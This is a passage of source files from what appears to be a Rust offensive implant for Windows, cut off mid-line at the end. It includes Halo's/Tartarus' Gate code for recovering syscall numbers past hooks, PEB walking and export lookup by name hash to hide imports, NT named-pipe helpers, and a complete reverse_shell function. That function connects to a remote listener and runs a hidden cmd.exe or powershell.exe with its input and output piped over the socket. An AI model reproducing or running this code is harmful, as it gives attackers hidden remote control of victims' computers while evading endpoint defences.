address.add(idx * DOWN).read() } == 0x4c 53 | && unsafe { address.add(1 + idx * DOWN).read() } == 0x8b 54 | && unsafe { address.add(2 + idx * DOWN).read() } == 0xd1 55 | && unsafe { address.add(3 + idx * DOWN).read() } == 0xb8 56 | && unsafe { address.add(6 + idx * DOWN).read() } == 0x00 57 | && unsafe { address.add(7 + idx * DOWN).read() } == 0x00 58 | { 59 | let high = unsafe { address.add(5 + idx * DOWN).read() } as u16; 60 | let low = unsafe { address.add(4 + idx * DOWN).read() } as u16; 61 | return (high << 8) | (low.wrapping_sub(idx as u16)); 62 | } 63 | 64 | // Check upwards for a clean syscall instruction 65 | if unsafe { address.offset(idx as isize * UP).read() } == 0x4c 66 | && unsafe { address.offset(1 + idx as isize * UP).read() } == 0x8b 67 | && unsafe { address.offset(2 + idx as isize * UP).read() } == 0xd1 68 | && unsafe { address.offset(3 + idx as isize * UP).read() } == 0xb8 69 | && unsafe { address.offset(6 + idx as isize * UP).read() } == 0x00 70 | && unsafe { address.offset(7 + idx as isize * UP).read() } == 0x00 71 | { 72 | let high = unsafe { address.offset(5 + idx as isize * UP).read() } as u16; 73 | let low = unsafe { address.offset(4 + idx as isize * UP).read() } as u16; 74 | return (high << 8) | (low.wrapping_add(idx as u16)); 75 | } 76 | } 77 | } 78 | 79 | // Tartarus' Gate: Another method to bypass hooked syscalls 80 | if unsafe { address.add(3).read() } == 0xe9 { 81 | for idx in 1..500 { 82 | // Check downwards for a clean syscall instruction 83 | if unsafe { address.add(idx * DOWN).read() } == 0x4c 84 | && unsafe { address.add(1 + idx * DOWN).read() } == 0x8b 85 | && unsafe { address.add(2 + idx * DOWN).read() } == 0xd1 86 | && unsafe { address.add(3 + idx * DOWN).read() } == 0xb8 87 | && unsafe { address.add(6 + idx * DOWN).read() } == 0x00 88 | && unsafe { address.add(7 + idx * DOWN).read() } == 0x00 89 | { 90 | let high = unsafe { address.add(5 + idx * DOWN).read() } as u16; 91 | let low = unsafe { address.add(4 + idx * DOWN).read() } as u16; 92 | return (high << 8) | (low.wrapping_sub(idx as u16)); 93 | } 94 | 95 | // Check upwards for a clean syscall instruction 96 | if unsafe { address.offset(idx as isize * UP).read() } == 0x4c 97 | && unsafe { address.offset(1 + idx as isize * UP).read() } == 0x8b 98 | && unsafe { address.offset(2 + idx as isize * UP).read() } == 0xd1 99 | && unsafe { address.offset(3 + idx as isize * UP).read() } == 0xb8 100 | && unsafe { address.offset(6 + idx as isize * UP).read() } == 0x00 101 | && unsafe { address.offset(7 + idx as isize * UP).read() } == 0x00 102 | { 103 | let high = unsafe { address.offset(5 + idx as isize * UP).read() } as u16; 104 | let low = unsafe { address.offset(4 + idx as isize * UP).read() } as u16; 105 | return (high << 8) | (low.wrapping_add(idx as u16)); 106 | } 107 | } 108 | } 109 | 110 | return 0; 111 | } 112 | -------------------------------------------------------------------------------- /src/libs/ntpsapi.rs: -------------------------------------------------------------------------------- 1 | use core::{ 2 | ffi::{c_ulong, c_void}, 3 | ptr::null_mut, 4 | }; 5 | 6 | use crate::get_instance; 7 | 8 | use super::{ 9 | k32::SecurityAttributes, 10 | ntdef::{ 11 | nt_current_teb, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString, FILE_CREATE, 12 | FILE_GENERIC_WRITE, FILE_NON_DIRECTORY_FILE, FILE_PIPE_BYTE_STREAM_MODE, 13 | FILE_PIPE_BYTE_STREAM_TYPE, FILE_PIPE_QUEUE_OPERATION, FILE_SHARE_READ, FILE_SHARE_WRITE, 14 | FILE_SYNCHRONOUS_IO_NONALERT, FILE_WRITE_ATTRIBUTES, GENERIC_READ, OBJ_CASE_INSENSITIVE, 15 | OBJ_INHERIT, SYNCHRONIZE, 16 | }, 17 | utils::format_named_pipe_string, 18 | }; 19 | 20 | /// Creates a named pipe and returns handles for reading and writing. 21 | /// 22 | /// This function sets up a named pipe with specified security attributes, buffer size, 23 | /// and other options. It creates the pipe with both read and write handles, making it 24 | /// ready for inter-process communication using the `NtCreateNamedPipeFile` NT API function. 25 | pub fn nt_create_named_pipe_file( 26 | h_read_pipe: &mut *mut c_void, 27 | h_write_pipe: &mut *mut c_void, 28 | lp_pipe_attributes: *mut SecurityAttributes, 29 | n_size: u32, 30 | pipe_id: u32, 31 | ) -> i32 { 32 | let mut pipe_name: UnicodeString = UnicodeString::new(); 33 | let mut object_attributes: ObjectAttributes = ObjectAttributes::new(); 34 | let mut status_block: IoStatusBlock = IoStatusBlock::new(); 35 | let mut default_timeout: LargeInteger = LargeInteger::new(); 36 | let mut read_pipe_handle: *mut c_void = null_mut(); 37 | let mut write_pipe_handle: *mut c_void = null_mut(); 38 | let mut security_descriptor: *mut c_void = null_mut(); 39 | 40 | // Set the default timeout to 120 seconds 41 | default_timeout.high_part = -1200000000; 42 | 43 | // Use the default buffer size if not provided 44 | let n_size = if n_size == 0 { 0x1000 } else { n_size }; 45 | 46 | // Format the pipe name using the process ID and pipe ID 47 | let pipe_name_utf16 = format_named_pipe_string( 48 | unsafe { nt_current_teb().as_ref().unwrap().client_id.unique_process } as usize, 49 | pipe_id, 50 | ); 51 | 52 | // Initialize the `UnicodeString` with the formatted pipe name 53 | pipe_name.init(pipe_name_utf16.as_ptr()); 54 | 55 | // Use case-insensitive object attributes by default 56 | let mut attributes: c_ulong = OBJ_CASE_INSENSITIVE; 57 | 58 | // Check if custom security attributes were provided 59 | if !lp_pipe_attributes.is_null() { 60 | // Use the provided security descriptor 61 | security_descriptor = unsafe { (*lp_pipe_attributes).lp_security_descriptor }; 62 | 63 | // Set the OBJ_INHERIT flag if handle inheritance is requested 64 | if unsafe { (*lp_pipe_attributes).b_inherit_handle } { 65 | attributes |= OBJ_INHERIT; 66 | } 67 | } 68 | 69 | // Initialize the object attributes for the named pipe 70 | ObjectAttributes::initialize( 71 | &mut object_attributes, 72 | &mut pipe_name, 73 | attributes, // Case-insensitive and possibly inheritable 74 | null_mut(), 75 | security_descriptor, 76 | ); 77 | 78 | // Create the named pipe for reading 79 | let status = get_instance().unwrap().ntdll.nt_create_named_pipe.run( 80 | &mut read_pipe_handle, 81 | GENERIC_READ | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, // Desired access: read, write attributes, sync 82 | &mut object_attributes, 83 | &mut status_block, 84 | FILE_SHARE_READ | FILE_SHARE_WRITE, // Share mode: allows read/write by other processes 85 | FILE_CREATE, // Creation disposition: create new, fail if exists 86 | FILE_SYNCHRONOUS_IO_NONALERT, // Create options: synchronous I/O, no alerts 87 | FILE_PIPE_BYTE_STREAM_TYPE, // Pipe type: byte stream (no message boundaries) 88 | FILE_PIPE_BYTE_STREAM_MODE, // Read mode: byte stream mode for reading 89 | FILE_PIPE_QUEUE_OPERATION, // Completion mode: operations are queued 90 | 1, // Max instances: only one instance of the pipe 91 | n_size, // Inbound quota: input buffer size 92 | n_size, // Outbound quota: output buffer size 93 | &default_timeout, // Default timeout for pipe operations 94 | ); 95 | 96 | // Check if the pipe creation failed 97 | if status != 0 { 98 | get_instance().unwrap().ntdll.nt_close.run(read_pipe_handle); 99 | return status; 100 | } 101 | 102 | let mut status_block_2 = IoStatusBlock::new(); 103 | 104 | // Open the pipe for writing 105 | let status = get_instance().unwrap().ntdll.nt_open_file.run( 106 | &mut write_pipe_handle, 107 | FILE_GENERIC_WRITE, 108 | &mut object_attributes, 109 | &mut status_block_2, 110 | FILE_SHARE_READ, 111 | FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, 112 | ); 113 | 114 | // Check if the pipe opening failed 115 | if status != 0 { 116 | get_instance().unwrap().ntdll.nt_close.run(read_pipe_handle); 117 | return status; 118 | } 119 | 120 | // Assign the read and write handles to the output parameters 121 | *h_read_pipe = read_pipe_handle; 122 | *h_write_pipe = write_pipe_handle; 123 | 0 124 | } 125 | -------------------------------------------------------------------------------- /src/libs/ldrapi.rs: -------------------------------------------------------------------------------- 1 | use crate::{ 2 | libs::ntdef::{ 3 | find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry, 4 | PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE, 5 | }, 6 | libs::utils::{dbj2_hash, get_cstr_len}, 7 | }; 8 | 9 | use core::ptr::null_mut; 10 | 11 | /// Retrieves the NT headers from the base address of a module. 12 | /// 13 | /// # Arguments 14 | /// * `base_addr` - The base address of the module. 15 | /// 16 | /// Returns a pointer to `ImageNtHeaders` or null if the headers are invalid. 17 | #[cfg(target_arch = "x86_64")] 18 | pub fn get_nt_headers(base_addr: *mut u8) -> *mut ImageNtHeaders { 19 | let dos_header = base_addr as *mut ImageDosHeader; 20 | 21 | // Check if the DOS signature is valid (MZ) 22 | if unsafe {(*dos_header).e_magic } != IMAGE_DOS_SIGNATURE { 23 | return null_mut(); 24 | } 25 | 26 | // Calculate the address of NT headers 27 | let nt_headers = (base_addr as isize + unsafe { (*dos_header).e_lfanew as isize }) as *mut ImageNtHeaders; 28 | 29 | // Check if the NT signature is valid (PE\0\0) 30 | if unsafe { (*nt_headers).signature } != IMAGE_NT_SIGNATURE as _ { 31 | return null_mut(); 32 | } 33 | 34 | nt_headers 35 | } 36 | 37 | /// Finds and returns the base address of a module by its hash. 38 | /// 39 | /// # Arguments 40 | /// * `module_hash` - The hash of the module name to locate. 41 | /// 42 | /// Returns the base address of the module or null if not found. 43 | pub fn ldr_module(module_hash: u32) -> *mut u8 { 44 | let peb = find_peb(); // Retrieve the PEB (Process Environment Block) 45 | 46 | if peb.is_null() { 47 | return null_mut(); 48 | } 49 | 50 | let peb_ldr_data_ptr = unsafe { (*peb).loader_data as *mut PebLoaderData }; 51 | if peb_ldr_data_ptr.is_null() { 52 | return null_mut(); 53 | } 54 | 55 | // Start with the first module in the InLoadOrderModuleList 56 | let mut module_list = 57 | unsafe { (*peb_ldr_data_ptr).in_load_order_module_list.flink as *mut LoaderDataTableEntry }; 58 | 59 | // Iterate through the list of loaded modules 60 | while unsafe { !(*module_list).dll_base.is_null() } { 61 | let dll_buffer_ptr = unsafe { (*module_list).base_dll_name.buffer }; 62 | let dll_length = unsafe { (*module_list).base_dll_name.length as usize }; 63 | 64 | // Create a slice from the DLL name 65 | let dll_name_slice = unsafe { core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length) }; 66 | 67 | // Compare the hash of the DLL name with the provided hash 68 | if module_hash == dbj2_hash(dll_name_slice) { 69 | return unsafe { (*module_list).dll_base as _ }; // Return the base address of the module if the hash matches 70 | } 71 | 72 | // Move to the next module in the list 73 | module_list = unsafe { (*module_list).in_load_order_links.flink as *mut LoaderDataTableEntry }; 74 | } 75 | 76 | null_mut() // Return null if no matching module is found 77 | } 78 | 79 | /// Finds a function by its hash from the export directory of a module. 80 | /// 81 | /// # Arguments 82 | /// * `module_base` - The base address of the module. 83 | /// * `function_hash` - The hash of the function name to locate. 84 | /// 85 | /// Returns the function's address or null if not found. 86 | pub fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u8 { 87 | let p_img_nt_headers = get_nt_headers(module_base); // Retrieve NT headers for the module 88 | 89 | if p_img_nt_headers.is_null() { 90 | return null_mut(); 91 | } 92 | 93 | // Get the export directory from the NT headers 94 | let data_directory = unsafe { &(*p_img_nt_headers).optional_header.data_directory[0] }; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0 95 | let export_directory = 96 | (unsafe { module_base.offset(data_directory.virtual_address as isize) }) as *mut ImageExportDirectory; 97 | if export_directory.is_null() { 98 | return null_mut(); 99 | } 100 | 101 | let number_of_functions = unsafe { (*export_directory).number_of_functions }; 102 | let array_of_names = 103 | unsafe { module_base.offset((*export_directory).address_of_names as isize) } as *const u32; 104 | let array_of_addresses = 105 | unsafe { module_base.offset((*export_directory).address_of_functions as isize) } as *const u32; 106 | let array_of_ordinals = 107 | unsafe { module_base.offset((*export_directory).address_of_name_ordinals as isize) } as *const u16; 108 | 109 | // Create slices from the export directory arrays 110 | let names = unsafe { core::slice::from_raw_parts(array_of_names, number_of_functions as _) }; 111 | let functions = unsafe { core::slice::from_raw_parts(array_of_addresses, number_of_functions as _) }; 112 | let ordinals = unsafe { core::slice::from_raw_parts(array_of_ordinals, number_of_functions as _) }; 113 | 114 | // Iterate through the export names to find the function matching the given hash 115 | for i in 0..number_of_functions { 116 | let name_addr = unsafe { module_base.offset(names[i as usize] as isize) } as *const i8; 117 | let name_len = get_cstr_len(name_addr as _); // Get the length of the function name 118 | let name_slice: &[u8] = unsafe { core::slice::from_raw_parts(name_addr as _, name_len) }; 119 | 120 | // Compare the hash of the function name with the provided hash 121 | if function_hash as u32 == dbj2_hash(name_slice) { 122 | // Retrieve the function's address by its ordinal 123 | let ordinal = ordinals[i as usize] as usize; 124 | return unsafe { module_base.offset(functions[ordinal] as isize) } as *mut u8; 125 | } 126 | } 127 | 128 | null_mut() // Return null if the function is not found 129 | } 130 | -------------------------------------------------------------------------------- /src/rev.rs: -------------------------------------------------------------------------------- 1 | use core::{ffi::c_void, ptr::null_mut}; 2 | 3 | use alloc::vec::Vec; 4 | 5 | use crate::{ 6 | get_instance, 7 | libs::{ 8 | k32::{ProcessInformation, SecurityAttributes, StartupInfoW}, 9 | ntdef::{IoStatusBlock, ProcessBasicInformation}, 10 | ntpsapi::nt_create_named_pipe_file, 11 | winsock::{connect_socket, create_socket, init_winsock, FD_SET, FIONBIO, TIMEVAL}, 12 | }, 13 | }; 14 | 15 | /// Executes a reverse shell by connecting to a remote server using the provided `lhost` and `lport`, 16 | /// and launching the specified `process` (e.g., cmd.exe or powershell.exe) with redirected I/O. 17 | /// 18 | /// # Arguments 19 | /// - `lhost`: The **listener host** (IP address or hostname) of the remote server to connect to. 20 | /// - `lport`: The **listener port** on the remote server to establish the connection. 21 | /// - `process`: The name of the executable to launch locally (e.g., "cmd.exe" or "powershell.exe") 22 | /// after the connection is established. 23 | pub fn reverse_shell(lhost: &str, lport: u16, process: &str) -> bool { 24 | init_winsock(); // Initialize Winsock library for network communication 25 | let sock = create_socket(); // Create a TCP socket 26 | 27 | // Check if the socket creation was successful 28 | if sock == !0 { 29 | return false; 30 | } 31 | 32 | // Attempt to connect the socket to the provided URL and lport 33 | let connect_result = connect_socket(sock, lhost, lport); 34 | if connect_result != 0 { 35 | unsafe { 36 | (get_instance().unwrap().winsock.closesocket)(sock); 37 | (get_instance().unwrap().winsock.wsa_cleanup)(); 38 | } 39 | return false; 40 | } 41 | 42 | // Constants for the startup flags (used to specify the creation behavior of the process) 43 | const STARTF_USESTDHANDLES: u32 = 0x00000100; 44 | const CREATE_NO_WINDOW: u32 = 0x08000000; 45 | 46 | let mut stdin_read: *mut c_void = null_mut(); // Pipe for reading from stdin 47 | let mut stdin_write: *mut c_void = null_mut(); // Pipe for writing to stdin 48 | let mut stdout_read: *mut c_void = null_mut(); // Pipe for reading from stdout 49 | let mut stdout_write: *mut c_void = null_mut(); // Pipe for writing to stdout 50 | 51 | // Security attributes for pipe creation (allows handle inheritance) 52 | let mut security_attributes = SecurityAttributes { 53 | n_length: core::mem::size_of::() as u32, 54 | lp_security_descriptor: null_mut(), 55 | b_inherit_handle: true, 56 | }; 57 | 58 | unsafe { 59 | // Set the socket to non-blocking mode 60 | let mut nonblocking: u32 = 1; 61 | let ioctl_result = 62 | (get_instance().unwrap().winsock.ioctlsocket)(sock, FIONBIO, &mut nonblocking); 63 | if ioctl_result != 0 { 64 | (get_instance().unwrap().winsock.closesocket)(sock); 65 | (get_instance().unwrap().winsock.wsa_cleanup)(); 66 | return false; 67 | } 68 | 69 | // Create a named pipe for communication between processes. 70 | let status = nt_create_named_pipe_file( 71 | &mut stdin_read, 72 | &mut stdin_write, 73 | &mut security_attributes, 74 | 0, // Use the default buffer size of 4096 bytes. 75 | 1, 76 | ); 77 | 78 | if status != 0 { 79 | (get_instance().unwrap().winsock.closesocket)(sock); 80 | (get_instance().unwrap().winsock.wsa_cleanup)(); 81 | return false; 82 | } 83 | 84 | let status = nt_create_named_pipe_file( 85 | &mut stdout_read, 86 | &mut stdout_write, 87 | &mut security_attributes, 88 | 0, // Use the default buffer size of 4096 bytes. 89 | 2, 90 | ); 91 | 92 | if status != 0 { 93 | get_instance().unwrap().ntdll.nt_close.run(stdin_read); 94 | get_instance().unwrap().ntdll.nt_close.run(stdin_write); 95 | (get_instance().unwrap().winsock.closesocket)(sock); 96 | (get_instance().unwrap().winsock.wsa_cleanup)(); 97 | return false; 98 | } 99 | 100 | // Setup process startup info (redirect standard handles) 101 | let mut startup_info: StartupInfoW = StartupInfoW::new(); 102 | startup_info.cb = core::mem::size_of::() as u32; 103 | startup_info.dw_flags = STARTF_USESTDHANDLES; 104 | startup_info.h_std_input = stdin_read; 105 | startup_info.h_std_output = stdout_write; 106 | startup_info.h_std_error = stdout_write; 107 | 108 | // Create process information struct 109 | let mut process_info: ProcessInformation = ProcessInformation::new(); 110 | let mut cmdline_utf16: Vec = process.encode_utf16().chain(Some(0)).collect(); 111 | 112 | // Create the process (e.g., cmd.exe or powershell.exe) in a hidden window 113 | let success = (get_instance().unwrap().k32.create_process_w)( 114 | null_mut(), 115 | cmdline_utf16.as_mut_ptr(), 116 | null_mut(), 117 | null_mut(), 118 | true, 119 | CREATE_NO_WINDOW, 120 | null_mut(), 121 | null_mut(), 122 | &mut startup_info, 123 | &mut process_info, 124 | ); 125 | 126 | if !success { 127 | get_instance().unwrap().ntdll.nt_close.run(stdin_read); 128 | get_instance().unwrap().ntdll.nt_close.run(stdin_write); 129 | get_instance().unwrap().ntdll.nt_close.run(stdout_read); 130 | get_instance().unwrap().ntdll.nt_close.run(stdout_write); 131 | (get_instance().unwrap().winsock.closesocket)(sock); 132 | (get_instance().unwrap().winsock.wsa_cleanup)(); 133 | return false; 134 | } 135 | 136 | // Close the read/write handles for the child process 137 | get_instance().unwrap().ntdll.nt_close.run(stdin_read); 138 | get_instance().unwrap().ntdll.nt_close.run(stdout_write); 139 | 140 | let mut buffer = [0u8; 4096]; 141 | 142 | // Main loop to handle communication between the remote server and the local process 143 | loop { 144 | // Check if the child process is still active 145 | let mut process_basic_info: ProcessBasicInformation = core::mem::zeroed(); 146 | let mut return_length: u32 = 0; 147 | 148 | let status = get_instance() 149 | .unwrap() 150 | .ntdll 151 | .nt_query_information_process 152 | .run( 153 | process_info.h_process, 154 | 0, // ProcessBasicInformation 155 | &mut process_basic_info as *mut _ as *mut c_void, 156 | core::mem::size_of::() as u32, 157 | &mut return_length, 158 | ); 159 | 160 | // Break the loop if the child process has exited 161 | if status != 0 || process_basic_info.exit_status != 259 { 162 | break; 163 | } 164 | 165 | // Prepare to use `select` to monitor socket activity 166 | let mut fd_array = [0usize; 64]; 167 | fd_array[0] = sock; 168 | let mut read_fds = FD_SET { 169 | fd_count: 1, 170 | fd_array, 171 | }; 172 | 173 | let mut timeout = TIMEVAL { 174 | tv_sec: 0, 175 | tv_usec: 10000, 176 | }; 177 | 178 | // Monitor the socket for incoming data 179 | let select_result = (get_instance().unwrap().winsock.select)( 180 | 0, 181 | &mut read_fds as *mut FD_SET, 182 | null_mut(), 183 | null_mut(), 184 | &mut timeout as *mut TIMEVAL, 185 | ); 186 | 187 | if select_result == -1 { 188 | let error_code = (get_instance().unwrap().winsock.wsa_get_last_error)(); 189 | 190 | // Exit the loop on unhandled errors 191 | if error_code != 10035 { 192 | break; 193 | } 194 | } 195 | 196 | // If there is data to read from the socket 197 | if select_result > 0 { 198 | let bytes_received = (get_instance().unwrap().winsock.recv)( 199 | sock, 200 | buffer.as_mut_ptr() as *mut i8, 201 | buffer.len() as i32, 202 | 0, 203 | ); 204 | 205 | if bytes_received > 0 { 206 | let mut bytes_written = 0; 207 | 208 | // Write the received data to the stdin pipe of the child process 209 | while bytes_written < bytes_received as u32 { 210 | let mut io_status_block: IoStatusBlock = IoStatusBlock::new(); 211 | 212 | let status = get_instance().unwrap().ntdll.nt_write_file.run( 213 | stdin_write, 214 | null_mut(), 215 | null_mut(), 216 | null_mut(), 217 | &mut io_status_block, 218 | buffer.as_ptr().add(bytes_written as usize) as *mut c_void, 219 | bytes_received as u32 - bytes_written, 220 | null_mut(), 221 | null_mut(), 222 | ); 223 | 224 | if status != 0 { 225 | break; 226 | } 227 | 228 | bytes_written += io_status_block.information; 229 | } 230 | } 231 | } 232 | 233 | // Read from the child process's stdout pipe 234 | let mut bytes_available: u32 = 0; 235 | let peek_result = (get_instance().unwrap().k32.peek_named_pipe)( 236 | stdout_read, 237 | null_mut(), 238 | 0, 239 | null_mut(), 240 | &mut bytes_available, 241 | null_mut(), 242 | ); 243 | 244 | if peek_result != 0 && bytes_available > 0 { 245 | let mut io_status_block_read: IoStatusBlock = IoStatusBlock::new(); 246 | 247 | let read_result = get_instance().unwrap().ntdll.nt_read_file.run( 248 | stdout_read, 249 | null_mut(), 250 | null_mut(), 251 | null_mut(), 252 | &mut io_status_block_read, 253 | buffer.as_mut_ptr() as *mut c_void, 254 | buffer.len() as u32, 255 | null_mut(), 256 | null_mut(), 257 | ); 258 | 259 | if read_result == 0 && io_status_block_read.information > 0 { 260 | let mut total_sent = 0; 261 | 262 | // Send the stdout data back to the remote server 263 | while total_sent < io_status_block_read.information { 264 | let sent = (get_instance().unwrap().winsock.send)( 265 | sock, 266 | buffer.as_ptr().add(total_sent as usize) as *const i8, 267 | (io_status_block_read.information - total_sent) as i32, 268 | 0, 269 | ); 270 | if sent == -1 { 271 | break; 272 | } 273 | total_sent += sent as u32; 274 | } 275 | } 276 | } 277 | } 278 | 279 | get_instance().unwrap().ntdll.nt_close.run(stdin_write); 280 | get_instance().unwrap().ntdll.nt_close.run(stdout_read); 281 | get_instance() 282 | .unwrap() 283 | .ntdll 284 | .nt_close 285 | .run(process_info.h_process); 286 | get_instance() 287 | .unwrap() 288 | .ntdll 289 | .nt_close 290 | .run(process_info.h_thread); 291 | 292 | (get_instance().unwrap().winsock.closesocket)(sock); 293 | (get_instance().unwrap().winsock.wsa_cleanup)(); 294 | } 295 | 296 | true 297 | } 298 | -------------------------------------------------------------------------------- /src/libs/winsock.rs: -------------------------------------------------------------------------------- 1 | use core::{ 2 | ffi::c_void, 3 | mem::{transmute, zeroed}, 4 | ptr::{null, null_mut}, 5 | }; 6 | 7 | use alloc::{ffi::CString, vec::Vec}; 8 | 9 | use crate::{get_instance, libs::ldrapi::ldr_function, libs::ntdef::UnicodeString}; 10 | 11 | pub const FIONBIO: i32 = -2147195266i32; 12 | 13 | #[allow(non_camel_case_types)] 14 | pub type SOCKET = usize; 15 | 16 | // Data structures for Winsock 17 | #[repr(C)] 18 | pub struct WsaData { 19 | pub w_version: u16, 20 | pub w_high_version: u16, 21 | pub sz_description: [i8; 257], 22 | pub sz_system_status: [i8; 129], 23 | pub i_max_sockets: u16, 24 | pub i_max_udp_dg: u16, 25 | pub lp_vendor_info: *mut i8, 26 | } 27 | 28 | #[repr(C)] 29 | pub struct SockAddrIn { 30 | pub sin_family: u16, 31 | pub sin_port: u16, 32 | pub sin_addr: InAddr, 33 | pub sin_zero: [i8; 8], 34 | } 35 | 36 | #[repr(C)] 37 | pub struct InAddr { 38 | pub s_addr: u32, 39 | } 40 | 41 | #[repr(C)] 42 | pub struct SockAddr { 43 | pub sa_family: u16, 44 | pub sa_data: [i8; 14], 45 | } 46 | 47 | #[repr(C)] 48 | pub struct AddrInfo { 49 | pub ai_flags: i32, 50 | pub ai_family: i32, 51 | pub ai_socktype: i32, 52 | pub ai_protocol: i32, 53 | pub ai_addrlen: u32, 54 | pub ai_canonname: *mut i8, 55 | pub ai_addr: *mut SockAddr, 56 | pub ai_next: *mut AddrInfo, 57 | } 58 | 59 | #[allow(non_camel_case_types)] 60 | #[repr(C)] 61 | #[derive(Clone, Copy)] 62 | pub struct FD_SET { 63 | pub fd_count: u32, 64 | pub fd_array: [SOCKET; 64], 65 | } 66 | 67 | #[allow(non_camel_case_types)] 68 | #[repr(C)] 69 | #[derive(Clone, Copy)] 70 | pub struct TIMEVAL { 71 | pub tv_sec: i32, 72 | pub tv_usec: i32, 73 | } 74 | 75 | // Define function types for Winsock functions 76 | type WSAStartupFunc = 77 | unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32; 78 | type WSACleanupFunc = unsafe extern "system" fn() -> i32; 79 | type SocketFunc = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> SOCKET; 80 | type ConnectFunc = unsafe extern "system" fn(s: SOCKET, name: *const SockAddr, namelen: i32) -> i32; 81 | type SendFunc = unsafe extern "system" fn(s: SOCKET, buf: *const i8, len: i32, flags: i32) -> i32; 82 | type RecvFunc = unsafe extern "system" fn(s: SOCKET, buf: *mut i8, len: i32, flags: i32) -> i32; 83 | type ClosesocketFunc = unsafe extern "system" fn(s: SOCKET) -> i32; 84 | type InetAddrFunc = unsafe extern "system" fn(cp: *const i8) -> u32; 85 | type HtonsFunc = unsafe extern "system" fn(hostshort: u16) -> u16; 86 | type GetAddrInfoFunc = unsafe extern "system" fn( 87 | node: *const i8, 88 | service: *const i8, 89 | hints: *const AddrInfo, 90 | res: *mut *mut AddrInfo, 91 | ) -> i32; 92 | type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo); 93 | 94 | type Ioctlsocket = unsafe extern "system" fn(s: SOCKET, cmd: i32, argp: *mut u32) -> i32; 95 | 96 | type Select = unsafe extern "system" fn( 97 | nfds: i32, 98 | readfds: *mut FD_SET, 99 | writefds: *mut FD_SET, 100 | exceptfds: *mut FD_SET, 101 | timeout: *mut TIMEVAL, 102 | ) -> i32; 103 | 104 | type WSAGetLastError = unsafe extern "system" fn() -> i32; 105 | 106 | pub struct Winsock { 107 | pub wsa_startup: WSAStartupFunc, 108 | pub wsa_cleanup: WSACleanupFunc, 109 | pub socket: SocketFunc, 110 | pub connect: ConnectFunc, 111 | pub send: SendFunc, 112 | pub recv: RecvFunc, 113 | pub closesocket: ClosesocketFunc, 114 | pub inet_addr: InetAddrFunc, 115 | pub htons: HtonsFunc, 116 | pub getaddrinfo: GetAddrInfoFunc, 117 | pub freeaddrinfo: FreeAddrInfoFunc, 118 | pub ioctlsocket: Ioctlsocket, 119 | pub select: Select, 120 | pub wsa_get_last_error: WSAGetLastError, 121 | } 122 | 123 | impl Winsock { 124 | pub fn new() -> Self { 125 | Winsock { 126 | wsa_startup: unsafe { core::mem::transmute(core::ptr::null::()) }, 127 | wsa_cleanup: unsafe { core::mem::transmute(core::ptr::null::()) }, 128 | socket: unsafe { core::mem::transmute(core::ptr::null::()) }, 129 | connect: unsafe { core::mem::transmute(core::ptr::null::()) }, 130 | send: unsafe { core::mem::transmute(core::ptr::null::()) }, 131 | recv: unsafe { core::mem::transmute(core::ptr::null::()) }, 132 | closesocket: unsafe { core::mem::transmute(core::ptr::null::()) }, 133 | inet_addr: unsafe { core::mem::transmute(core::ptr::null::()) }, 134 | htons: unsafe { core::mem::transmute(core::ptr::null::()) }, 135 | getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::()) }, 136 | freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::()) }, 137 | ioctlsocket: unsafe { core::mem::transmute(core::ptr::null::()) }, 138 | select: unsafe { core::mem::transmute(core::ptr::null::()) }, 139 | wsa_get_last_error: unsafe { 140 | core::mem::transmute(core::ptr::null::()) 141 | }, 142 | } 143 | } 144 | } 145 | 146 | pub fn init_winsock_funcs() { 147 | unsafe { 148 | pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3; 149 | pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8; 150 | pub const SOCKET_DBJ2: usize = 0xcf36c66e; 151 | pub const CONNECT_DBJ2: usize = 0xe73478ef; 152 | pub const SEND_DBJ2: usize = 0x7c8bc2cf; 153 | pub const RECV_DBJ2: usize = 0x7c8b3515; 154 | pub const CLOSESOCKET_DBJ2: usize = 0x185953a4; 155 | pub const INET_ADDR_DBJ2: usize = 0xafe73c2f; 156 | pub const HTONS_DBJ2: usize = 0xd454eb1; 157 | pub const GETADDRINFO_DBJ2: usize = 0x4b91706c; 158 | pub const FREEADDRINFO_DBJ2: usize = 0x307204e; 159 | pub const IOCTLSOCKET_H: usize = 0xd5e978a9; 160 | pub const SELECT_H: usize = 0xce86a705; 161 | pub const WSAGETLASTERROR_H: usize = 0x9c1d912e; 162 | 163 | let mut ws2_win32_dll_unicode = UnicodeString::new(); 164 | let utf16_string: Vec = "ws2_32.dll".encode_utf16().chain(Some(0)).collect(); 165 | ws2_win32_dll_unicode.init(utf16_string.as_ptr()); 166 | 167 | let mut ws2_win32_handle: *mut c_void = null_mut(); 168 | 169 | if let Some(instance) = get_instance() { 170 | (instance.ntdll.ldr_load_dll)( 171 | null_mut(), 172 | null_mut(), 173 | ws2_win32_dll_unicode, 174 | &mut ws2_win32_handle as *mut _ as *mut c_void, 175 | ); 176 | 177 | if ws2_win32_handle.is_null() { 178 | return; 179 | } 180 | 181 | let ws2_32_module = ws2_win32_handle as *mut u8; 182 | 183 | let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2); 184 | let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2); 185 | let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2); 186 | let connect_addr = ldr_function(ws2_32_module, CONNECT_DBJ2); 187 | let send_addr = ldr_function(ws2_32_module, SEND_DBJ2); 188 | let recv_addr = ldr_function(ws2_32_module, RECV_DBJ2); 189 | let closesocket_addr = ldr_function(ws2_32_module, CLOSESOCKET_DBJ2); 190 | let inet_addr_addr = ldr_function(ws2_32_module, INET_ADDR_DBJ2); 191 | let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2); 192 | let getaddrinfo_addr = 